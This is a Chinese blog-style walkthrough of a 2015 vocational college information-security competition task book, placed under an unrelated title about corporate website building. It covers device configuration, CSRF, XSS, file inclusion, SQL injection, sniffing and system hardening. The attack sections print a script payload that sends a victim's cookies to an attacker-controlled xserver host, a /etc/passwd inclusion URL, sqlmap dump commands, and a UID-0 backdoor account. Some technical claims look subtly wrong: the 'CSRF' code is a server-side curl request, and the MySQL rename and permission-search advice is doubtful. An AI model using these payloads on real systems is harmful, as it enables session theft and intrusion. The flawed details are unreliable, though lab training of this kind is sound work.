企业官网建设流程全解析

简介：2015年全国职业院校技能大赛高职组“神州数码”杯“信息安全管理与评估”赛项任务书，是面向高职信息安全专业选手及指导教师的官方真题文件。这份任务书完整呈现竞赛三个阶段的考核框架：第一阶段平台搭建与配置占300分，第二阶段系统安全攻防及运维安全管控占300分，第三阶段分组对抗占400分，并详细列出网络平台搭建、网络安全设备配置与防护、IIS安全加固、数据库攻防、CSRF/XSS攻击、密码嗅探、文件包含、SQL注入、Linux操作系统安全防护等任务模块，同时给出赛题时间、网络拓扑、IP地址规划表、设备初始化信息以及U盘提交规范，兼具赛制说明与实操指引价值。资源为单个PDF文件，压缩包约287KB，内容精炼且结构完整，已有321人学习下载，适合备赛选手按阶段模拟演练，也可作为职业院校信息安全课程实训与竞赛选拔的参考资料。

1. 这份“信息安全管理与评估”赛项任务书：不只是真题，更是一套可复用的企业安全基线

拿到这份 2015 年全国职业院校技能大赛高职组“神州数码”杯“信息安全管理与评估”赛项任务书时，我第一反应是它比很多培训机构的实验手册都实在。整份文档按 6 小时竞赛时间编排，分平台搭建、系统攻防、分组对抗三个阶段，表面看是比赛规则，实质是把一套完整的企业内网安全建设场景拆成了可操作的任务清单——从防火墙安全域划分到 SQL 注入手工判断，从 IIS 证书签发到 Linux 主机加固，全部落在具体设备和具体命令上。对网络安全从业者、CTF 初学者和高职信息安全专业的学生来说，这份任务书的价值不在“真题”二字，而在它把理论考核转成了“拿到拓扑就能复现”的实战项目。我按里面的任务清单完整走了一遍，下面把每个阶段的配置思路、关键参数和踩过的坑逐一拆开讲。

2. 第一阶段：把 40 道设备配置题拆成四类操作模板，照着做就能拿分

2.1 网络平台搭建：先画拓扑再配接口，IP 规划别凭感觉

任务一“网络平台搭建”名义上是 60 分，实际是整个比赛的地基。设备清单里有一台 DCFW 防火墙、一台 DCFS 网络流控、一台 DCBI 日志系统、一台 WAF、一台 DCRS 三层交换机和一台 DCST 堡垒服务器。拓扑关系可以概括为：PC-3 直连防火墙，防火墙串网络流控，流控下接三层交换机，交换机分出三条支路——WAF 串堡垒服务器、两个用户区 VLAN、一个服务器区 VLAN，日志系统旁路挂接。

动手配置前，先把 IP 规划思路理清楚。任务书要求“最节省 IP 地址，子网有效地址规划遵循 2n-2 的原则”，意思是每个网段可用地址数必须是 2 的幂减 2。比如服务器区给 4 个可用地址，那就得划分 29 位掩码（6 个可用地址，实际用 4 个）；PC 用户区如果有 50 台主机，就需要 26 位掩码（62 个可用地址）。我一般会在 Excel 里先按互联网段、用户网段、服务器区网段三类分别排开，再根据“赛场 IP 参数表”给出的地址池反推掩码。

DCRS 的 VLAN 规划直接决定后续所有配置的位置，这里给出一个常见的分配方案：

# DCRS 全局模式 hostname DCRS vlan 2 name TO_DCFS # 与网络流控互联 vlan 10 name TO_WAF # 与 WAF 互联，注意 WAF 接口地址不属于 VLAN10 vlan 20 name USER_PC1 # PC-1 所在用户区 vlan 30 name USER_PC2 # PC-2 所在用户区 vlan 40 name TO_DCBI # 与日志系统旁路互联 vlan 100 name SERVER_ZONE # 服务器区 vlan 110 name OFFICE # 办公网段，DHCP 下发

VLAN2 与 DCFS 互联、VLAN10 接 WAF、VLAN40 接 DCBI，这几个点容易错：日志系统在网络里是旁路部署，但交换机和它之间依然要配一个独立的互联 VLAN，否则 DCBI 无法通过交换机镜像流量。任务书里 DCRS 的接口归属没有逐一列出，需要根据“赛场互联接口参数表”确认，实际考试时交换机的 Ethernet 接口编号和 VLAN 映射关系以现场为准。

三层接口的配置核心是给每个 VLAN 配网关。服务器区 VLAN100 的网关建议配成该网段第一个可用地址，用户区 VLAN20、VLAN30 同理。配完后用show ip interface brief验证所有 SVI 接口都是 up 状态，再进入下一步静态路由。任务书第 7 题要求“采用静态路由的方式，全网络互连”，这意味着设备之间不能用 OSPF 或 RIP 动态路由。需要配置静态路由的设备有 DCFW、DCFS、DCRS、WAF 和 DCST，路由方向要成对出现，否则回程流量就丢了。

2.2 防火墙 DCFW：安全域、DDoS 防护与访问控制的优先级顺序

任务二里 DCFW 相关的题目最多，从第 1 题到第 10 题，几乎每题都是独立的加分点。先把安全域划分做对：连接互联网的接口划入 WAN 安全域，连接内网的接口划入 LAN 安全域。DCFW 默认一般是三区域模型（WAN、LAN、DMZ），如果服务器区挂在交换机上而没有直连防火墙，那么服务器区流量可以归入 LAN 域，通过策略控制访问关系。

SNMP 配置是第一个容易翻车的点。任务书要求开启 SNMP，网管服务器 IP 是“服务器区内第二个可用地址”，community 为 public，且“网管软件对 DCFW 没有写权限”。注意这里的措辞：只读 community 与读写 community 要分开设置，只给网管软件配置读权限字串。命令大致如下：

# DCFW 配置 SNMP 只读字串 snmp-server community public ro snmp-server host 10.10.10.2 # 服务器区第二个可用地址

DDoS 防护开启时，注意 DCFW 的防护策略默认可能包含 SYN Flood、UDP Flood、ICMP Flood 三类开关。竞赛环境里主机数量有限，直接启用默认防护模板一般不会误杀业务流量，但在真实环境中必须把防护阈值调成与业务基线匹配的值，否则大流量时会误判。

Web 管理限制和新增管理用户这两题可以一起做。只允许 HTTP 方式访问 DCFW 意味着要关闭 HTTPS 管理服务，同时新增用户 dcfw1234 且只有查看权限。不同型号的命令有差异，但思路一致：先创建用户并赋予 read-only 权限，再在管理服务配置里把 HTTPS 勾掉。需要注意的是，如果远程通过 HTTPS 正在管理设备，关掉 HTTPS 前确认自己能从 console 口登录，否则改完就黑匣子了。

上班时间限制（工作日 9:00-17:00）和 Web 认证后访问互联网（连接 1 小时后需重新认证）这类时间策略，核心是配置时间段对象和时间策略。更稳妥的做法是配置两条策略：工作时间放行内网访问，非工作时间拒绝；Web 认证则依赖防火墙的本地认证功能，把用户组与认证超时时间绑定，超时时间设 60 分钟。

2.3 网络流控 DCFS：带宽通道与 URL 过滤的嵌套关系

DCFS 的 7 道题集中在应用识别、带宽管理和用户认证三个方向。第 12 题禁止 PC-1 在 2015 年 7 月 1 日到 7 月 10 日的工作日访问迅雷应用，考验的是时间对象和应用识别的组合。先定义时间段对象，再配置应用控制策略，动作选拒绝，源地址指向 PC-1 的 IP，应用选迅雷。

第 13 题限制 URL 路径中大于 10M 的*.mp3文件下载，这是 DCFS 的 URL 过滤与文件类型识别功能。配置时注意要在 URL 分类库中选择“音乐”类别，再叠加文件大小限制。如果设备支持自定义扩展名规则，直接把.mp3和大小阈值 10M 写进规则更稳妥。

第 17 题和第 18 题是带宽管理题的经典模板，包含“总出口带宽 200M、子带宽通道 100M、拥塞与不拥塞两种状态”等约束。配置核心是区分“保证带宽”和“最大带宽”：PC-2 网段拥塞时单用户最大不超 2M、最小 1M，对应配置为每个用户的 committed information rate 设为 1M，peak information rate 设为 2M；PC-1 网段要求最小 2M，则把 CIR 设为 2M。另外第 18 题还要求对 BT 业务限速不超过 50M，这需要在子带宽通道下再建一个应用通道，选择 BT 应用并设置带宽上限。

# DCFS 带宽通道配置示意（Web 界面等价操作） # 总出口通道: 带宽 200M # 子通道: 名称 sub100, 带宽 100M # PC-1 用户组: 保证带宽 2M, 最大带宽 不限制（不拥塞可突破） # BT 应用子通道: 带宽上限 50M

这里有一个关键点：DCFS 的带宽通道是嵌套的，子通道的带宽不能超过父通道，且应用通道必须挂在子通道之下。先建根通道，再建子通道，最后把用户组和应用的带宽策略挂到对应通道。如果先建了应用通道再建子通道，界面上会找不到挂载点，这是操作顺序问题。

第 15 题要求在主机列表中显示内网用户名与主机地址的对应关系，这依赖 DCFS 的用户认证功能。开启用户上网认证后，用户首次访问网络会弹认证页面，认证通过后设备才能在主机列表里关联 IP 与用户名。竞赛环境里一般用本地用户库，提前把用户和 IP 绑定好即可。第 16 题禁止 PC-1 所在网段最后 10 个可用地址访问互联网，先在地址对象里定义该网段排除最后 10 个地址后的范围，再对“这个网段的所有地址”配置拒绝策略，注意这里不需要定义单独的 IP 对象——直接用网段对象，配置一条“目的地址为任意、动作为拒绝”的策略，并把最后 10 个地址单独排除在放行策略之外。

2.4 日志系统 DCBI、WAF 与 DCRS：旁路部署的坑和防欺骗机制

DCBI 的 8 道题核心是让它“看得见、发得出”。第 20 题要求部署方式为旁路模式并配置监控接口与管理接口，这道题必须在交换机侧配合：DCBI 的监控口要通过交换机镜像口获取流量，所以先要在 DCRS 上配置端口镜像，把需要监控的端口流量复制给 DCBI 的监控接口。邮件告警和 syslog 转发都要配置正确的服务器地址和 community 字串，第 21 题和第 22 题分别对应 SMTP（服务器区第三个可用地址，端口 25）和日志服务器（第四个可用地址）。

第 26 题“通过交换机获得内网 PC 的 MAC 地址”，实际是开启 DCBI 与交换机的 SNMP 联动。在 DCRS 上开启 SNMP 且允许 DCBI 读取 MAC 地址表，DCBI 才能在日志中关联 MAC。这道题和任务二第 30 题的 SNMP 配置是联动的，网管服务器地址相同，但 community 权限要注意区分读写。

WAF 的 7 道题里，第 34 题配置网站服务器地址与 syslog 日志服务器地址指向，第 36 题开启常见 Web 攻击防护，第 37 题配置 CC 攻击防护阈值（10 秒超过 3000 次请求），第 39 题做网站安全评估，第 40 题禁止报文包含敏感字段“赛题”。第 37 题的阈值直接按题意填，第 40 题需要用 WAF 的内容过滤功能，在 HTTP 请求和响应两个方向都加上关键字过滤规则。第 39 题的漏洞评估会主动发起扫描请求，扫描完成后生成报告，记得把报告页面截图保存——这题不是配置题，是体验题，但漏截图拿不到分。

# WAF 内容过滤规则示意 # 方向: 请求 + 响应 # 匹配内容: 赛题 # 动作: 阻断

DCRS 的题目最后 6 道涉及 SSH、广播风暴抑制、ARP 保护、端口认证、DHCP Server 和 MAC 地址绑定。其中 ARP 保护（第 31 题）的场景是防止接入交换机下发网关欺骗报文，在 Ethernet1/15-17 开启 ARP 检测，并把网关 MAC 配置为信任地址；第 31 题后半段“MAC 为 00-FF-51-BE-AD-32 的主机不能访问 MAC 地址为 E1-B6-4C-25-6A-13 的主机”，这是二层 MAC 地址过滤，在 DCRS 上配置 MAC ACL 并应用到端口即可。这里要特别提醒：MAC 地址带横杠的格式和 DCRS 配置里的格式要对应，有的版本要求写成 00-ff-51-be-ad-32 小写形式才识别。

DHCP Server 配置（第 33 题）在交换机上做，地址池 pool-vlan110，DNS 分别为 114.114.114.114 和 8.8.8.8，租期 2 天，排除最后 20 个可用地址。注意排除地址的写法是排除单 IP 列表，如果网段是 26 位、62 个可用地址，最后 20 个要逐个列出或用地址池范围参数处理。

3. 第二阶段之 Web 攻击链：CSRF、XSS、文件包含与 SQL 注入的实战细节

3.1 从登录页面源码开始的 CSRF 攻击：变量名决定成败

第二阶段任务三的 CSRF 攻击链路，是整份任务书里最需要“读源码”的部分。题目要求访问 metas2-lab 的 “/” → “csrf” 页面，分析登录页面源程序找到提交的变量名。这里的核心是理解 CSRF 的本质：让受害者浏览器在不知情的情况下向目标站点发送携带认证信息的请求。攻击成功的前提是攻击者能构造出与正常请求完全一致的参数名和参数值。

进入“csrf 攻防”页面后点击“源程序”，分析需要提交的引用变量名称，然后修改 xserver 中现成的 test.php 恶意程序，把登录用户密码改成 12erfgbn。这里有个技巧：改密码不是改目标服务器的数据库，而是改恶意页面里提交的密码参数。很多人在这一步绕弯路，去数据库里改用户密码，实际上题目要的是“恶意程序提交时使用的密码”。

// test.php 关键代码示意（简化） <?php $target_url = "http://metas2-lab-1/dcn/vulnerabilities/csrf/"; $payload = "username=admin&password=12erfgbn&submit=Login"; // 通过隐藏表单或 AJAX 方式在受害者浏览器发起请求 $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_exec($ch); ?>

这段代码的作用是让登录用户密码被改为 12erfgbn。注意把$payload里的密码值改掉后，必须同步修改目标服务器上用户的实际密码，否则后续用新密码登录会失败。实操中发现，用 curl 命令代替浏览器验证更快：先正常登录获取会话 cookie，再执行修改密码的请求，观察返回状态码是否 200。

3.2 XSS 存储型注入与 Cookie 窃取：accept_cookie.php 这条线不能断

任务四的 XSS 攻击，从简单注入弹出对话框“444”开始，到窃取管理员 cookie 结束。整个任务的链路是：xss.php 接收并存储恶意代码 → 受害者访问被注入的页面 → 恶意代码执行并携带 cookie 请求 xserver 上的 accept_cookie.php → accept_cookie.php 把 cookie 写入文件保存。

这里的关键在于第 2 题要求“读懂 accept_cookie.php 并找到存放 cookie 的文件”，实际是把 cookie 追加写入名为 cookie.txt 之类的文件，题目要求用ls -l列出该文件确认存在。实操时先访问 accept_cookie.php 确认它是否写入成功，再执行注入。建议直接在注入代码里使用<script>document.location='http://xserver-ip/accept_cookie.php?cookie='+document.cookie</script>，这样窃取到的 cookie 会以 GET 参数形式传给接收端。

第 5 题修改 PC 的 cookie 后免登录进入 xss 页面，这个步骤依赖第 3 题和第 4 题窃取到的 cookie 内容。注意 cookie 可能包含 session ID 和用户名两部分，修改时保留完整的键值对结构，只替换 session ID 部分。修改工具有浏览器插件或直接改 Host 文件配合 curl 测试，但更推荐用 curl 的-H "Cookie: ..."参数测试，方便查看返回页面是否包含用户名信息。

3.3 文件包含与 SQL 注入：从拿 passwd 到 dump 数据库的管理员密码

任务六文件包含攻击的第 4 题要求通过漏洞读取 metas2-lab-1 的 /etc/passwd，URL 里直接包含路径参数即可，但要注意当前目录和绝对路径的差异。常见做法是构造?page=../../../../etc/passwd这样的相对路径，但 Linux 下 Apache 的当前工作目录往往是 /var/www/html，需要多跳几级。直接尝试绝对路径?page=/etc/passwd在 PHP 的 include 函数里也有效，可以节省时间。

// 文件包含利用示例 http://target/dcn/vulnerabilities/fi/?page=/etc/passwd // 返回内容包含 root:x:0:0:root:/root:/bin/bash

第 5 题根据 passwd 里的用户名列表做社会工程学密码破解，这题考的不是工具，而是对你对弱密码规律的敏感度。任务书给的提示是 test1、test2、test3，那么密码大概率是 test1/123456、test2/123456、test3/123456 这类规律组合。

任务七的 SQL 注入把流程拆成了六步：扫描器识别注入点 → 手工判断 → GET 注入 → POST 注入 → 登录认证型注入 → MD5 破解登录。手工判断这一步最重要，也是最容易被忽略的：题目明确要求用'and 1=1和'and 1=2比对返回结果，这是初学者理解“布尔盲注”的最佳样例。实际测试时如果两个条件返回页面内容完全一致，说明可能不是注入点或者参数被过滤；返回结果有差异时再进入 sqlmap 测试。

# sqlmap 测试 GET 注入 sqlmap -u "http://target/dcn/vulnerabilities/sqli/?id=1" --banner --current-db # sqlmap 测试 POST 注入（需先抓包获取 POST 数据） sqlmap -u "http://target/login.php" --data="username=admin&password=123" --dbs

登录认证型注入的关键是找到后台指定的 URL，SQLMAP 需要先用--forms自动解析表单，再用--dump拉取管理员密码字段。MD5 破解这一步，优先试在线查询接口，因为竞赛题里的密码通常是弱口令。如果在线查询不出来，用 hashcat 字典跑一遍rockyou.txt，几秒就能出结果。

3.4 密码嗅探：Wireshark 过滤条件的三层思路

任务五的密码嗅探题，本质上是在训练“知道抓什么、怎么过滤、怎么从包里找凭证”三项能力。telnet 和 ftp 都是明文协议，登录密码直接可见；HTTP 协议的 POST 请求里密码也在明文里。实际操作时，建议按以下三层过滤条件逐层收敛：

# 第一层：协议维度 tcp.port == 23 # telnet tcp.port == 21 # ftp tcp.port == 8180 # tomcat 管理页面 # 第二层：数据内容维度 frame contains "password" frame contains "user" # 第三层：追踪 TCP 流 右键点击任意数据包 -> Follow TCP Stream

第 5 题要求分析 tomcat 8180 管理页面的源码，指出用户名和密码提交的方法（GET 还是 POST）以及变量名。这道题比前面更细，需要直接看 HTML 源码里 form 标签的 method 属性和 input 标签的 name 属性。常见的变量名是 j_username 和 j_password，这对应 Tomcat 的默认表单认证机制。抓到包后直接过滤http.request.method == "POST"，然后看表单数据里的变量名和值，回答问题就清楚了。

4. 第二阶段之系统加固：IIS 证书、MySQL 加固与 Linux 主机防护的标准化操作

4.1 IIS 安全加固与证书签发：六步走完一套 PKI 流程

任务一围绕 IIS-6.0 展开，整体是 Windows Server 2003 环境。Web 服务器和抓包工具机都是 2003，意味着这套操作在如今的新版 Windows 上要稍作调整，但证书申请、签发、安装、启用的逻辑链路不变。

第 1 步配置 Windows 防火墙放行 Web 服务，在 2003 的“Windows 防火墙”设置里勾选“Web 服务器”例外，或者手动添加 TCP 80 端口入站规则。第 2 步限制只有内网网段能访问 Web 服务，这里可以用“仅允许来自以下 IP 地址的访问”自定义范围，也可以配合 IP 安全策略限制 80 端口源地址。

证书流程的第 3 到第 7 步是标准的 PKI 操作。先向 CA 服务器申请服务器证书，生成证书请求文件；再由 CA 颁发一年期证书；然后在 IIS 里启用 SSL 安全通信，绑定证书和 443 端口。第 5 题的考点在证书 CN 和 IIS 域名不一致时的浏览器警报弹窗，这是测试者必须理解 PKI 信任链的意义而设置的环境限制。第 6 题启用客户端证书设置时，在 IIS 的“目录安全性”选项卡里把“客户端证书”设为“要求客户端证书”，同时勾选“启用证书映射”。第 7 题和第 8 题是给 PC 申请 CA 证书并在 PC 安装，客户端证书与服务器证书流程类似，但申请主体不同，机构会配置独立的证书模板。

4.2 MySQL 加固：改 root 名、删匿名用户与 mysqld 启动项限制

任务二的 MySQL 加固题，环境是 Redhat Linux AS5 + MySQL 5.0.22。8 道题可以分成三组：启动参数加固（第 1、7、8 题）、用户权限管理（第 3、4、5、6 题）、防火墙规则（第 2 题）。

启动参数加固本质是修改 my.cnf 或 mysqld 启动脚本。第 1 题“所有访问能被审计”要求开启 MySQL 的 general_log。在 MySQL 5.0.22 里可以通过启动参数--log开启查询日志，也可以直接在 my.cnf 里写log=/var/log/mysql-query.log。第 7 题“禁止对本地文件存取”对应--local-infile=0参数，第 8 题“限制一般用户浏览其他用户数据库”对应--skip-show-database参数。

# my.cnf [mysqld] 段配置示例 log=/var/log/mysql/query.log local-infile=0 skip-show-database

用户权限管理这组题里，第 3 题要查出“可以从任何 IP 访问的用户”，用SELECT user,host FROM mysql.user;查看 host 字段为%的记录。第 4 题把该用户限制为只能从公司 PC 访问，用GRANT命令重新授权并指定具体 IP；第 5 题删除匿名用户用DROP USER ''@'localhost'或DELETE FROM mysql.user WHERE user='';；第 6 题把 root 改名 admin，注意 MySQL 5.0 里RENAME USER 'root'@'localhost' TO 'admin'@'localhost'语法不适用，要用UPDATE mysql.user SET user='admin' WHERE user='root'; FLUSH PRIVILEGES;。改完名之后，root 这个账号在本地就不存在了，登录必须用 admin，这一步做完记得同步修改所有应用的连接配置。

第 2 题配置防火墙规则只允许 MySQL 服务端口访问，最简单的方式是iptables -A INPUT -p tcp --dport 3306 -j ACCEPT，注意规则顺序——如果 INPUT 链默认策略是 DROP，ACCEPT 规则必须放在 DROP 之前，否则访问仍然会被丢弃。任务书说“规则中只包含端口项”，意思是不指定源地址或目标地址的条件，直接放行 3306 端口。

4.3 Linux 操作系统安全防护：九个标准加固点一次过

任务八的 Linux 加固题覆盖了 SSH、密码策略、PAM 锁定、umask、SUID 查找、定时脚本、登录超时和日志转发九个点。这里最大的价值是它对应一套完整的主机加固清单，完全可以迁移到任何 Linux 服务器的日常运维中。

# 1. 禁止 root 直接 SSH 登录 sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config service sshd restart # 2. 密码最小长度 8 位 sed -i 's/PASS_MIN_LEN.*/PASS_MIN_LEN 8/' /etc/login.defs # 3. 错误登录 10 次锁定 10 分钟 cat >> /etc/pam.d/system-auth <<EOF auth required pam_tally2.so deny=10 unlock_time=600 account required pam_tally2.so EOF

第 5 题和第 6 题是自编脚本查找 SUID/SGID 文件和全局可写目录。用 find 命令是最直接的方案，注意 SUID 文件查找的权限位写法：

# 查找 SUID 文件 find / -perm -4000 -type f 2>/dev/null # 查找 SGID 文件 find / -perm -2000 -type f 2>/dev/null # 查找所有人均有写权限的目录 find / -type d -perm -1002 2>/dev/null # 或更精确: find / -type d -perm -0002 2>/dev/null

第 9 题创建一个 UID 为 0 的账号，这是经典的权限维持手法。创建后必须用一行命令找出系统中所有 UID 为 0 的账号：awk -F: '$3==0 {print $1}' /etc/passwd。这道题一方面考对 UID 0 特殊权限的认识，另一方面考的是审计能力——知道用命令检查是否存在后门账号。如果你在一台真实服务器上做这个操作，哪怕只是测试，也要记得测试完立即删除该账号，否则等于给自己留了一个 root 权限的后门。

第 7 题登录超时设置为 10 分钟，有两个地方要改：/etc/profile里的TMOUT=600和 sshd_config 里的ClientAliveInterval、ClientAliveCountMax组合。第 8 题把认证日志和邮件日志备份到指定服务器，路径是/etc/syslog.conf，在文件里添加目标服务器地址，参数格式是authpriv.* @log-server-ip。

5. 避坑：从这份任务书里读出的 5 个高频翻车点

5.1 文档命名和目录结构违规，直接按作弊处理

现象：选手把工位号写在子文件夹名或文件名里，或在根目录以外的地方再次出现工位信息。原因：没有细读“只允许在根目录下体现一次工位信息”的要求。解决：开机后第一件事是在 U 盘根目录建“XX 工位”文件夹，再在它下面一次性建好“第一阶段”“第二阶段”两个子目录，后续所有文档都按“第X阶段-任务X-任务名称.docx”的格式命名，文件名里绝不出现工位号。文件名和目录名是机器检查还是人工检查不重要，重要的是把它当成代码规范一样严格执行。

5.2 IP 规划违背“最节省”原则，掩码算错一步后面全乱

现象：设备间互联地址配置完成后，发现某个网段可用地址不足，或者 DCRS 的 SVI 接口和 DCFS 的互联地址冲突。原因：没有按“互联网段只需要 2 个地址”的思路规划，把大段地址浪费在点对点链路上，或者把可用地址数算成 2n-1。解决：互联接口一律用 30 位掩码，只给 2 个可用地址；服务器区按实际使用数量选 29 位或 28 位掩码；用户区按主机数选 26 位或 24 位掩码。每配完一段，在纸上重算一遍“可用地址是否满足 × 个可用地址”的需求，再往下走。

5.3 防火墙策略顺序错误，放行策略被隐含拒绝规则挡住

现象：内网用户无法访问互联网，但策略列表里明明配置了允许规则。原因：DCFW 的访问控制策略是顺序匹配的，默认隐含拒绝策略如果在放行策略之前，流量直接匹配拒绝规则。解决：配置策略时遵守“先放行后拒绝”或“先特例后通用”的顺序，把内网到外网的 NAT + 放行策略放在最前面，拒绝策略放在后面。检查时重点看策略列表中放行策略的序号是否在拒绝策略之前。

5.4 带宽通道嵌套关系搞错，子通道带宽超额不生效

现象：配置了子带宽通道 100M，但用户的带宽限制没有生效。原因：DCFS 的带宽策略里，子通道必须挂载在父通道下，且应用通道必须在子通道之下。如果直接把应用策略挂在根通道上，流量不经过子通道，限速自然无效。解决：先创建总出口通道（200M），再创建子通道（100M），最后把用户组放进子通道。配置完成后用设备的流量监控页面查看用户实时带宽，确认是否在限制范围内。

5.5 MySQL 加固改 root 名后忘记刷新权限，应用全部连接失败

现象：改完 root 为 admin 后，Web 应用无法连接数据库。原因：UPDATE mysql.user SET user='admin'之后没有执行FLUSH PRIVILEGES，或者 Web 应用配置文件里仍写的是root账号。解决：改完后立即执行FLUSH PRIVILEGES，并同步修改应用配置文件中的数据库连接字符串。另一个隐藏问题是 MySQL 5.0 里 root 可能同时存在root@localhost、root@127.0.0.1、root@主机名等多条记录，必须用SELECT user,host FROM mysql.user WHERE user='root';先查清楚再逐条改。

6. 第三阶段分组对抗：15 分钟加固的优先级排序与验证技巧

第三阶段的规则是 15 分钟加固时间，之后进入对抗环节。任务书明确列出漏洞方向：SQL 注入、跨站、表单提权、Cookie 漏洞，以及未列出的“常规漏洞”和“系统漏洞”。拿到裁判发放的目标服务器 IP 后，我的动作顺序固定为四步。

第一步，识别指纹。用 Nmap 扫描目标端口，重点关注 22、80、3306、3389。当年竞赛靶机普遍是 Linux + Apache + MySQL + PHP 组合，80 端口必开且不允许关闭，其余端口按需开放。扫描的同时看一眼 HTTP 响应头，确认中间件版本和服务器软件版本，这决定了后续加固的方向。

第二步，按“通用漏洞 > 应用漏洞 > 系统漏洞”的优先级加固。先改 SSH 密码和 MySQL root 密码，再禁用不必要的系统服务；然后针对列出的四个应用漏洞逐项修补——SQL 注入用参数化查询替换拼接 SQL，XSS 对输入输出做 HTML 实体编码，表单提权对敏感操作增加权限校验，Cookie 漏洞设置 HttpOnly 和 Secure 属性。加固顺序确定后写脚本批量执行，而不是在 Web 管理界面一点一点点。

# 加固脚本示例（CentOS/RHEL 系） # 1. SSH 加固 echo "PermitRootLogin no" >> /etc/ssh/sshd_config service sshd restart # 2. MySQL 加固（修改 root 密码并限制远程访问） mysqladmin -u root password 'NewStrongPass@2024' mysql -e "DELETE FROM mysql.user WHERE host NOT IN ('localhost','127.0.0.1'); FLUSH PRIVILEGES;" # 3. 防火墙仅保留必要端口 iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp --dport 3306 -j ACCEPT iptables -P INPUT DROP

第三步，验证加固是否生效。对 SQL 注入点重新发送测试请求，确认报错信息不再暴露 SQL 语句；对 XSS 注入点输入<script>alert(1)</script>，确认脚本被转义而不是执行。此时的验证标准和第二阶段做攻击时完全一致——攻击者用什么手法，你就用什么手法测试。

第四步，也是我每次带队员必强调的：加固过程要记录，但不留文档。任务书提示“该题不需要保存文档”，言下之意是痕迹管理比文档完整更重要。修改的每一个配置文件建议提前备份到 /tmp 下，但对抗结束后这些备份不要保留在服务器上，避免攻击者从备份文件里读出原始口令。另外，任何时候不要把 KEY 或 FLAG 写到公共目录，也不要通过明文 HTTP 提交给裁判服务器，一旦被其他组在网络上嗅探到，前面所有努力都白费。

对抗开始后的策略要分两个方向：对外继续加固，向内排查后门。如果发现服务器被写入 webshell，先找到可疑文件的创建时间和访问记录，掐断攻击者的持久化通道，再修改相关账号密码。如果服务器 FLAG 已被别人提交，比赛直接结束，没有翻盘机会。

最后说一个我自己的习惯：从那以后，每次做类似的分组对抗或红蓝演练，我都会在拿到服务器密码的第一时间就强制走一遍“改密码 → 关危险服务 → 更新 Web 应用 → 验证”这四步，并且把端口扫描、版本识别、加固验证做成一套固定脚本。原因很朴素——15 分钟的加固期，人的判断力会被紧张情绪影响，只有流程化、脚本化的操作才不容易漏项。这套思路迁移到企业护网行动里一样管用：先解决“能不能进去”的问题，再解决“进去之后能做什么”的问题。希望这份拆解对你有用，不管是备战比赛还是做系统加固，都能少走点弯路。

本文还有配套的精品资源，点击获取